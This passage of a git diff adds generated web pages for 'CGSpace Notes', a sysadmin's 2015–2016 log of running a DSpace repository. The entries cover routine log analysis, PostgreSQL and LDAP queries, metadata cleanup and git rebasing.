href="http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc">http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc</a></li> +<li>You can see the others by using the OAI <code>ListSets</code> verb: <a href="http://ebrary.ifpri.org/oai/oai.php?verb=ListSets">http://ebrary.ifpri.org/oai/oai.php?verb=ListSets</a></li> +<li>Working on second phase of metadata migration, looks like this will work for moving CPWF-specific data in <code>dc.identifier.fund</code> to <code>cg.identifier.cpwfproject</code> and then the rest to <code>dc.description.sponsorship</code></li> +</ul> + + + + May, 2016 + https://alanorth.github.io/cgspace-notes/2016-05/ + Sun, 01 May 2016 23:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-05/ + <h2 id="2016-05-01">2016-05-01</h2> +<ul> +<li>Since yesterday there have been 10,000 REST errors and the site has been unstable again</li> +<li>I have blocked access to the API now</li> +<li>There are 3,000 IPs accessing the REST API in a 24-hour period!</li> +</ul> +<pre tabindex="0"><code># awk &#39;{print $1}&#39; /var/log/nginx/rest.log | uniq | wc -l +3168 +</code></pre> + + + + April, 2016 + https://alanorth.github.io/cgspace-notes/2016-04/ + Mon, 04 Apr 2016 11:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-04/ + <h2 id="2016-04-04">2016-04-04</h2> +<ul> +<li>Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit</li> +<li>We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc</li> +<li>After running DSpace for over five years I&rsquo;ve never needed to look in any other log file than dspace.log, leave alone one from last year!</li> +<li>This will save us a few gigs of backup space we&rsquo;re paying for on S3</li> +<li>Also, I noticed the <code>checker</code> log has some errors we should pay attention to:</li> +</ul> + + + + March, 2016 + https://alanorth.github.io/cgspace-notes/2016-03/ + Wed, 02 Mar 2016 16:50:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-03/ + <h2 id="2016-03-02">2016-03-02</h2> +<ul> +<li>Looking at issues with author authorities on CGSpace</li> +<li>For some reason we still have the <code>index-lucene-update</code> cron job active on CGSpace, but I&rsquo;m pretty sure we don&rsquo;t need it as of the latest few versions of Atmire&rsquo;s Listings and Reports module</li> +<li>Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server</li> +</ul> + + + + February, 2016 + https://alanorth.github.io/cgspace-notes/2016-02/ + Fri, 05 Feb 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-02/ + <h2 id="2016-02-05">2016-02-05</h2> +<ul> +<li>Looking at some DAGRIS data for Abenet Yabowork</li> +<li>Lots of issues with spaces, newlines, etc causing the import to fail</li> +<li>I noticed we have a very <em>interesting</em> list of countries on CGSpace:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/02/cgspace-countries.png" alt="CGSpace country list"></p> +<ul> +<li>Not only are there 49,000 countries, we have some blanks (25)&hellip;</li> +<li>Also, lots of things like &ldquo;COTE D`LVOIRE&rdquo; and &ldquo;COTE D IVOIRE&rdquo;</li> +</ul> + + + + January, 2016 + https://alanorth.github.io/cgspace-notes/2016-01/ + Wed, 13 Jan 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-01/ + <h2 id="2016-01-13">2016-01-13</h2> +<ul> +<li>Move ILRI collection <code>10568/12503</code> from <code>10568/27869</code> to <code>10568/27629</code> using the <a href="https://gist.github.com/alanorth/392c4660e8b022d99dfa">move_collections.sh</a> script I wrote last year.</li> +<li>I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.</li> +<li>Update GitHub wiki for documentation of <a href="https://github.com/ilri/DSpace/wiki/Maintenance-Tasks">maintenance tasks</a>.</li> +</ul> + + + + December, 2015 + https://alanorth.github.io/cgspace-notes/2015-12/ + Wed, 02 Dec 2015 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2015-12/ + <h2 id="2015-12-02">2015-12-02</h2> +<ul> +<li>Replace <code>lzop</code> with <code>xz</code> in log compression cron jobs on DSpace Test—it uses less space:</li> +</ul> +<pre tabindex="0"><code># cd /home/dspacetest.cgiar.org/log +# ls -lh dspace.log.2015-11-18* +-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18 +-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo +-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz +</code></pre> + + + + November, 2015 + https://alanorth.github.io/cgspace-notes/2015-11/ + Mon, 23 Nov 2015 17:00:57 +0300 + + https://alanorth.github.io/cgspace-notes/2015-11/ + <h2 id="2015-11-22">2015-11-22</h2> +<ul> +<li>CGSpace went down</li> +<li>Looks like DSpace exhausted its PostgreSQL connection pool</li> +<li>Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:</li> +</ul> +<pre tabindex="0"><code>$ psql -c &#39;SELECT * from pg_stat_activity;&#39; | grep idle | grep -c cgspace +78 +</code></pre> + + + + diff --git a/docs/tags/notes/page/1/index.html b/docs/tags/notes/page/1/index.html new file mode 100644 index 000000000..f1074da31 --- /dev/null +++ b/docs/tags/notes/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/tags/notes/ + + + + + + diff --git a/docs/tags/notes/page/2/index.html b/docs/tags/notes/page/2/index.html new file mode 100644 index 000000000..486e73f36 --- /dev/null +++ b/docs/tags/notes/page/2/index.html @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

November, 2016

+

by Alan Orth in + +  + +

+
+

2016-11-01

+
    +
  • Add dc.type to the output options for Atmire’s Listings and Reports module (#286)
    • +
+

Listings and Reports with output type

+ Read more → +
+ + + + + + +
+
+

October, 2016

+

by Alan Orth in + +  + +

+
+

2016-10-03

+
    +
  • Testing adding ORCIDs to a CSV file for a single item to see if the author orders get messed up
    • +
  • Need to test the following scenarios to see how author order is affected: +
      +
    • ORCIDs only
      • +
    • ORCIDs plus normal authors
      • +
    +
    • +
  • I exported a random item’s metadata as CSV, deleted all columns except id and collection, and made a new coloum called ORCID:dc.contributor.author with the following random ORCIDs from the ORCID registry:
    • +
+
0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X
+
+ Read more → +
+ + + + + + +
+
+

September, 2016

+

by Alan Orth in + +  + +

+
+

2016-09-01

+
    +
  • Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors
    • +
  • Discuss how the migration of CGIAR’s Active Directory to a flat structure will break our LDAP groups in DSpace
    • +
  • We had been using DC=ILRI to determine whether a user was ILRI or not
    • +
  • It looks like we might be able to use OUs now, instead of DCs:
    • +
+
$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)"
+
+ Read more → +
+ + + + + + +
+
+

August, 2016

+

by Alan Orth in + +  + +

+
+

2016-08-01

+
    +
  • Add updated distribution license from Sisay (#259)
    • +
  • Play with upgrading Mirage 2 dependencies in bower.json because most are several versions of out date
    • +
  • Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more
    • +
  • bower stuff is a dead end, waste of time, too many issues
    • +
  • Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of fonts)
    • +
  • Start working on DSpace 5.1 → 5.5 port:
    • +
+
$ git checkout -b 55new 5_x-prod
+$ git reset --hard ilri/5_x-prod
+$ git rebase -i dspace-5.5
+
+ Read more → +
+ + + + + + +
+
+

July, 2016

+

by Alan Orth in + +  + +

+
+

2016-07-01

+
    +
  • Add dc.description.sponsorship to Discovery sidebar facets and make investors clickable in item view (#232)
    • +
  • I think this query should find and replace all authors that have “,” at the end of their names:
    • +
+
dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, '(^.+?),$', '\1') where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+UPDATE 95
+dspacetest=# select text_value from  metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+ text_value
+------------
+(0 rows)
+
    +
  • In this case the select query was showing 95 results before the update
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2016

+

by Alan Orth in + +  + +

+
+

2016-06-01

+ + Read more → +
+ + + + + + +
+
+

May, 2016

+

by Alan Orth in + +  + +

+
+

2016-05-01

+
    +
  • Since yesterday there have been 10,000 REST errors and the site has been unstable again
    • +
  • I have blocked access to the API now
    • +
  • There are 3,000 IPs accessing the REST API in a 24-hour period!
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | uniq | wc -l
+3168
+
+ Read more → +
+ + + + + + +
+
+

April, 2016

+

by Alan Orth in + +  + +

+
+

2016-04-04

+
    +
  • Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit
    • +
  • We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc
    • +
  • After running DSpace for over five years I’ve never needed to look in any other log file than dspace.log, leave alone one from last year!
    • +
  • This will save us a few gigs of backup space we’re paying for on S3
    • +
  • Also, I noticed the checker log has some errors we should pay attention to:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2016

+

by Alan Orth in + +  + +

+
+

2016-03-02

+
    +
  • Looking at issues with author authorities on CGSpace
    • +
  • For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module
    • +
  • Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2016

+

by Alan Orth in + +  + +

+
+

2016-02-05

+
    +
  • Looking at some DAGRIS data for Abenet Yabowork
    • +
  • Lots of issues with spaces, newlines, etc causing the import to fail
    • +
  • I noticed we have a very interesting list of countries on CGSpace:
    • +
+

CGSpace country list

+
    +
  • Not only are there 49,000 countries, we have some blanks (25)…
    • +
  • Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE”
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/tags/notes/page/3/index.html b/docs/tags/notes/page/3/index.html new file mode 100644 index 000000000..87f1eb4bc --- /dev/null +++ b/docs/tags/notes/page/3/index.html @@ -0,0 +1,234 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

January, 2016

+

by Alan Orth in + +  + +

+
+

2016-01-13

+
    +
  • Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_collections.sh script I wrote last year.
    • +
  • I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.
    • +
  • Update GitHub wiki for documentation of maintenance tasks.
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2015

+

by Alan Orth in + +  + +

+
+

2015-12-02

+
    +
  • Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less space:
    • +
+
# cd /home/dspacetest.cgiar.org/log
+# ls -lh dspace.log.2015-11-18*
+-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18
+-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo
+-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz
+
+ Read more → +
+ + + + + + +
+
+

November, 2015

+

by Alan Orth in + +  + +

+
+

2015-11-22

+
    +
  • CGSpace went down
    • +
  • Looks like DSpace exhausted its PostgreSQL connection pool
    • +
  • Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+78
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/tags/page/1/index.html b/docs/tags/page/1/index.html new file mode 100644 index 000000000..435aa6c39 --- /dev/null +++ b/docs/tags/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/tags/ + + + + + +